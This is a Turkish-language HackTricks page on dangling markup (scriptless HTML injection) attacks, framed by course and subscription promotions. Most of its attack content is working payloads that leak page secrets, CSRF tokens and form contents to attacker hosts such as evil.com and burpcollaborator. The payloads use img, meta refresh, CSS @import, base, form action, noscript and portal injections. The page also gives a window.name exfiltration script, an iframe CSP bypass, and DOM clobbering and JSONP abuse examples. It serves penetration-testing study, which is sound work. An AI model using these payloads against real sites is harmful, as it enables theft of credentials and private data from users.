.. | ||
README.md | ||
ss-leaks.md |
Dangling Markup - HTML scriptless injection
AWS hackleme becerilerinizi sıfırdan ileri seviyeye taşıyın htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile!
HackTricks'ı desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklam vermek veya HackTricks'i PDF olarak indirmek için ABONELİK PLANLARINA göz atın!
- Resmi PEASS & HackTricks ürünlerini edinin
- The PEASS Ailesi'ni keşfedin, özel NFT'lerimizden oluşan koleksiyonumuz
- 💬 Discord grubuna veya telegram grubuna katılın veya Twitter 🐦 @carlospolopm'u takip edin.
- Hacking hilelerinizi paylaşarak HackTricks ve HackTricks Cloud github depolarına PR göndererek katkıda bulunun.
Özet
Bu teknik, bir HTML enjeksiyonu bulunduğunda bir kullanıcıdan bilgi çıkarmak için kullanılabilir. Bu, bir XSS bulamazsanız ancak bazı HTML etiketlerini enjekte edebilirsiniz durumunda çok kullanışlıdır.
Ayrıca, bazı gizli bilgilerin açık metin olarak HTML'de saklandığı durumlarda, bunları müşteriden çalmak veya bazı betik yürütmesini yanıltmak istiyorsanız da kullanışlıdır.
Burada yorumlanan birkaç teknik, beklenmeyen yollarla bilgi çalmak için bazı İçerik Güvenlik Politikası atlatmak için kullanılabilir (html etiketleri, CSS, http-meta etiketleri, formlar, base...).
Ana Uygulamalar
Açık metin sırlarını çalmak
Eğer <img src='http://evil.com/log.cgi?
enjekte ederseniz, sayfa yüklendiğinde kurban, enjekte edilen img
etiketi ve kod içindeki sonraki tırnak işareti arasındaki tüm kodu size gönderecektir. Eğer bir sır bu parçada bulunuyorsa, onu çalacaksınız (aynı şeyi çift tırnak kullanarak da yapabilirsiniz, hangisinin daha ilginç olabileceğine bakın).
Eğer img
etiketi yasaklanmışsa (örneğin CSP nedeniyle), aynı şeyi <meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?
kullanarak da yapabilirsiniz.
<img src='http://attacker.com/log.php?HTML=
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=
Not: Chrome, "<" veya "\n" içeren HTTP URL'leri engeller, bu yüzden "ftp" gibi diğer protokol şemalarını deneyebilirsiniz.
CSS @import
'u da istismar edebilirsiniz (";" bulana kadar tüm kodu gönderecektir).
<style>@import//hackvertor.co.uk? <--- Injected
<b>steal me!</b>;
Ayrıca <table
kullanabilirsiniz:
<table background='//your-collaborator-id.burpcollaborator.net?'
Ayrıca bir <base
etiketi de ekleyebilirsiniz. Tüm bilgiler tırnak kapatılana kadar gönderilecektir, ancak bazı kullanıcı etkileşimi gerektirir (kullanıcı bir bağlantıya tıklamalıdır, çünkü base etiketi bağlantının işaret ettiği alanı değiştirmiştir):
<base target=' <--- Injected
steal me'<b>test</b>
Formları Çalma
Bir web uygulamasında, kullanıcıların doldurduğu formlardan bilgi çalmak, önemli bir saldırı vektörü olabilir. Bu saldırı tekniği, kullanıcıların girdiği verileri ele geçirmek için kullanılır. Bu veriler, kullanıcı adları, şifreler, kişisel bilgiler veya diğer hassas bilgiler olabilir.
Bu saldırıyı gerçekleştirmek için, saldırganlar web uygulamasının kaynak kodunu inceleyerek, form verilerini hedeflemek için uygun bir hedef belirlerler. Ardından, saldırganlar, form verilerini ele geçirmek için çeşitli yöntemler kullanabilirler. Örneğin, saldırganlar, form verilerini sunucuya göndermeden önce JavaScript kodunu manipüle edebilirler veya form verilerini başka bir sunucuya yönlendirebilirler.
Bu saldırıyı önlemek için, web uygulamalarının güvenliğini sağlamak için çeşitli önlemler alınmalıdır. Öncelikle, web uygulamaları güvenli bir şekilde kodlanmalı ve güncel güvenlik yamalarıyla korunmalıdır. Ayrıca, kullanıcı girdileri doğrulanmalı ve filtrelenmelidir. Ek olarak, form verileri sunucuya güvenli bir şekilde iletilmeli ve kullanıcılar bilgilendirilmelidir.
<base href='http://evil.com/'>
Sonra, veri gönderen yolların (örneğin <form action='update_profile.php'>
) veriyi kötü niyetli alan adına gönderecektir.
Formları Çalma 2
Form başlığını şu şekilde ayarlayın: <form action='http://evil.com/log_steal'>
bu, bir sonraki form başlığını üzerine yazacak ve formdaki tüm veriler saldırgana gönderilecektir.
Formları Çalma 3
Düğme, "formaction" özniteliğiyle formun bilgilerinin gönderileceği URL'yi değiştirebilir:
<button name=xss type=submit formaction='https://google.com'>I get consumed!
Bir saldırgan, bu yöntemi kullanarak bilgileri çalabilir.
Açık metin sırlarını çalmak 2
Bahsedilen en son teknik olan formları çalmak için (yeni bir form başlığı enjekte etmek) kullanarak, yeni bir giriş alanı enjekte edebilirsiniz:
<input type='hidden' name='review_body' value="
ve bu giriş alanı, HTML'deki çift tırnak arasındaki tüm içeriği içerecektir. Bu saldırı "Açık metin sırlarını çalma" ile "Formları çalma2"yi birleştirir.
Aynı şeyi bir form ve bir <option>
etiketi enjekte ederek yapabilirsiniz. Kapalı bir </option>
bulunana kadar olan tüm veriler gönderilecektir:
<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option
Form parametre enjeksiyonu
Bir formun yolunu değiştirebilir ve yeni değerler ekleyebilirsiniz, böylece beklenmeyen bir eylem gerçekleştirilebilir:
<form action='/change_settings.php'>
<input type='hidden' name='invite_user'
value='fredmbogo'> ← Injected lines
<form action="/change_settings.php"> ← Existing form (ignored by the parser)
...
<input type="text" name="invite_user" value=""> ← Subverted field
...
<input type="hidden" name="xsrf_token" value="12345">
...
</form>
Açık metin sırlarını noscript aracılığıyla çalmak
<noscript></noscript>
, tarayıcı javascript'i desteklemiyorsa (Chrome'da javascript'i chrome://settings/content/javascript adresinde etkinleştirebilir/devre dışı bırakabilirsiniz) içeriği yorumlanacak bir etikettir.
Enjeksiyon noktasından aşağıya kadar olan web sayfasının içeriğini saldırganın kontrol ettiği bir siteye çalmak için şunu enjekte etmek bir yol olacaktır:
<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
Kullanıcı etkileşimiyle CSP'nin atlatılması
Bu portswiggers araştırmasından öğrenebileceğiniz gibi, en CSP kısıtlı ortamlardan bile bazı kullanıcı etkileşimiyle veri sızdırabilirsiniz. Bu durumda kullanacağımız payload:
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target='
Not: Kurbanın, sizi kontrol ettiğiniz bir payload'a yönlendirecek bir bağlantıya tıklamasını isteyeceksiniz. Ayrıca, base
etiketinin içindeki target
özniteliği, bir sonraki tek tırnak işaretine kadar olan HTML içeriğini içerecektir.
Bu, bağlantıya tıklandığında window.name
'in HTML içeriği olacağı anlamına gelir. Bu nedenle, bağlantıya tıklayarak eriştiği sayfayı kontrol ettiğiniz için, o window.name
'e erişebilir ve verileri sızdırabilirsiniz:
<script>
if(window.name) {
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
</script>
Yanıltıcı betik iş akışı 1 - HTML ad alanı saldırısı
HTML içine, bir sonraki etiketi üzerine yazacak ve bir betiğin akışını etkileyecek bir değerle birlikte yeni bir etiket ekleyin. Bu örnekte, bir bilginin kimlerle paylaşılacağını seçiyorsunuz:
<script>
var shareWith = document.getElementById('shareWith').value;
if (shareWith === 'public') {
// Share information with public
} else if (shareWith === 'friends') {
// Share information with friends
} else if (shareWith === 'private') {
// Share information privately
} else {
// Invalid option
}
</script>
<!-- Misleading tag -->
<namespace:tag id="shareWith" value="public" />
Bu saldırı, bir sonraki etiketin üzerine yazarak, betiğin akışını etkileyerek yanıltıcı bir iş akışı oluşturur. Bu durumda, shareWith
adlı bir etiket oluşturulur ve value
özelliği "public" olarak ayarlanır. Bu nedenle, betik, shareWith
etiketinin değerine göre bilgiyi paylaşır.
<input type='hidden' id='share_with' value='fredmbogo'> ← Injected markup
...
Share this status update with: ← Legitimate optional element of a dialog
<input id='share_with' value=''>
...
function submit_status_update() {
...
request.share_with = document.getElementById('share_with').value;
...
}
Yanıltıcı betik akışı 2 - Betik ad alanı saldırısı
HTML etiketleri ekleyerek javascript ad alanı içinde değişkenler oluşturun. Ardından, bu değişken uygulamanın akışını etkileyecektir:
<img id='is_public'> ← Injected markup
...
// Legitimate application code follows
function retrieve_acls() {
...
if (response.access_mode == AM_PUBLIC) ← The subsequent assignment fails in IE
is_public = true;
else
is_public = false;
}
function submit_new_acls() {
...
if (is_public) request.access_mode = AM_PUBLIC; ← Condition always evaluates to true
...
}
JSONP'nin Kötüye Kullanımı
Eğer bir JSONP arayüzü bulursanız, istediğiniz verilerle istediğiniz fonksiyonu çağırabilirsiniz:
<script src='/editor/sharing.js'>: ← Legitimate script
function set_sharing(public) {
if (public) request.access_mode = AM_PUBLIC;
else request.access_mode = AM_PRIVATE;
...
}
<script src='/search?q=a&call=set_sharing'>: ← Injected JSONP call
set_sharing({ ... })
Ya da bazı JavaScript kodlarını çalıştırmayı deneyebilirsiniz:
<script src='/search?q=a&call=alert(1)'></script>
Iframe kötüye kullanımı
Bir alt belge, ebeveyninin location
özelliğini, kökenler arası durumlarda bile görüntüleme ve değiştirme yeteneğine sahiptir. Bu, bir iframe içine yerleştirilen bir betiğin istemciyi isteğe bağlı bir sayfaya yönlendirebilmesine olanak tanır:
<html><head></head><body><script>top.window.location = "https://attacker.com/hacked.html"</script></body></html>
Bu, sandbox=' allow-scripts allow-top-navigation'
gibi bir şeyle hafifletilebilir.
Bir iframe, iframe adı özniteliğini kullanarak farklı bir sayfadan hassas bilgilerin sızdırılmasında da istismar edilebilir. Bunun nedeni, hassas bilginin iframe adı özniteliği içinde görünmesini sağlayan HTML enjeksiyonunu istismar eden bir iframe oluşturabilmeniz ve ardından bu adı başlangıç iframe'inden erişerek sızdırabilmenizdir.
<script>
function cspBypass(win) {
win[0].location = 'about:blank';
setTimeout(()=>alert(win[0].name), 500);
}
</script>
<iframe src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27" onload="cspBypass(this.contentWindow)"></iframe>
Daha fazla bilgi için https://portswigger.net/research/bypassing-csp-with-dangling-iframes adresini kontrol edin.
<meta kötüye kullanımı
meta http-equiv
kullanarak birçok işlem yapabilirsiniz, örneğin bir Çerez ayarlamak: <meta http-equiv="Set-Cookie" Content="SESSID=1">
veya bir yönlendirme gerçekleştirmek (bu durumda 5 saniye sonra): <meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />
Bu, http-equiv ile ilgili bir CSP ile önlenebilir (Content-Security-Policy: default-src 'self';
veya Content-Security-Policy: http-equiv 'self';
)
Yeni <portal HTML etiketi
<portal etiketinin sömürülebilir zayıflıkları hakkında çok ilginç bir araştırma burada bulunabilir.
Bu yazının yazıldığı sırada, Chrome'da chrome://flags/#enable-portals
adresinde portal etiketini etkinleştirmeniz gerekmektedir, aksi takdirde çalışmayacaktır.
<portal src='https://attacker-server?
HTML Sızıntıları
HTML'de bağlantıyı sızdırmak için kullanılabilecek tüm yöntemler Dangling Markup için her zaman işe yaramayabilir, ancak bazen yardımcı olabilir. İşte kontrol edebileceğiniz yer: https://github.com/cure53/HTTPLeaks/blob/master/leak.html
SS-Sızıntıları
Bu, dangling markup ve XS-Sızıntıları arasında bir karışım. Bir taraftan, zafiyet, HTML enjekte etmeye (ancak JS değil) izin verir ve saldıracağımız sayfanın aynı kökenli olduğu bir sayfaya enjekte edebiliriz. Öte yandan, HTML enjekte edebileceğimiz sayfayı doğrudan saldırmayız, başka bir sayfayı hedef alırız.
{% content-ref url="ss-leaks.md" %} ss-leaks.md {% endcontent-ref %}
XS-Arama/XS-Sızıntıları
XS-Arama, yan kanal saldırılarını kullanarak çapraz kökenli bilgileri sızdırmak için kullanılır. Bu nedenle, Dangling Markup'tan farklı bir tekniktir, ancak bazı teknikler, CSS Enjeksiyonu veya Gecikmeli Yükleme Resimleri gibi HTML etiketlerinin (JS yürütme ile veya olmadan) kullanılmasını istismar eder.
{% content-ref url="../xs-search.md" %} xs-search.md {% endcontent-ref %}
Brute-Force Algılama Listesi
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt" %}
Referanslar
- https://aswingovind.medium.com/content-spoofing-yes-html-injection-39611d9a4057
- http://lcamtuf.coredump.cx/postxss/
- http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/
- https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup
AWS hacklemeyi sıfırdan kahraman olmak için htARTE (HackTricks AWS Red Team Expert)'ı öğrenin!
HackTricks'i desteklemenin diğer yolları:
- Şirketinizi HackTricks'te tanıtmak veya HackTricks'i PDF olarak indirmek için ABONELİK PLANLARINI kontrol edin!
- Resmi PEASS & HackTricks ürünlerini edinin
- Özel NFT'lerden oluşan koleksiyonumuz olan The PEASS Family'yi keşfedin
- 💬 Discord grubuna veya telegram grubuna katılın veya bizi Twitter 🐦 @carlospolopm'da takip edin.
- Hacking hilelerinizi HackTricks ve HackTricks Cloud github reposuna PR göndererek paylaşın.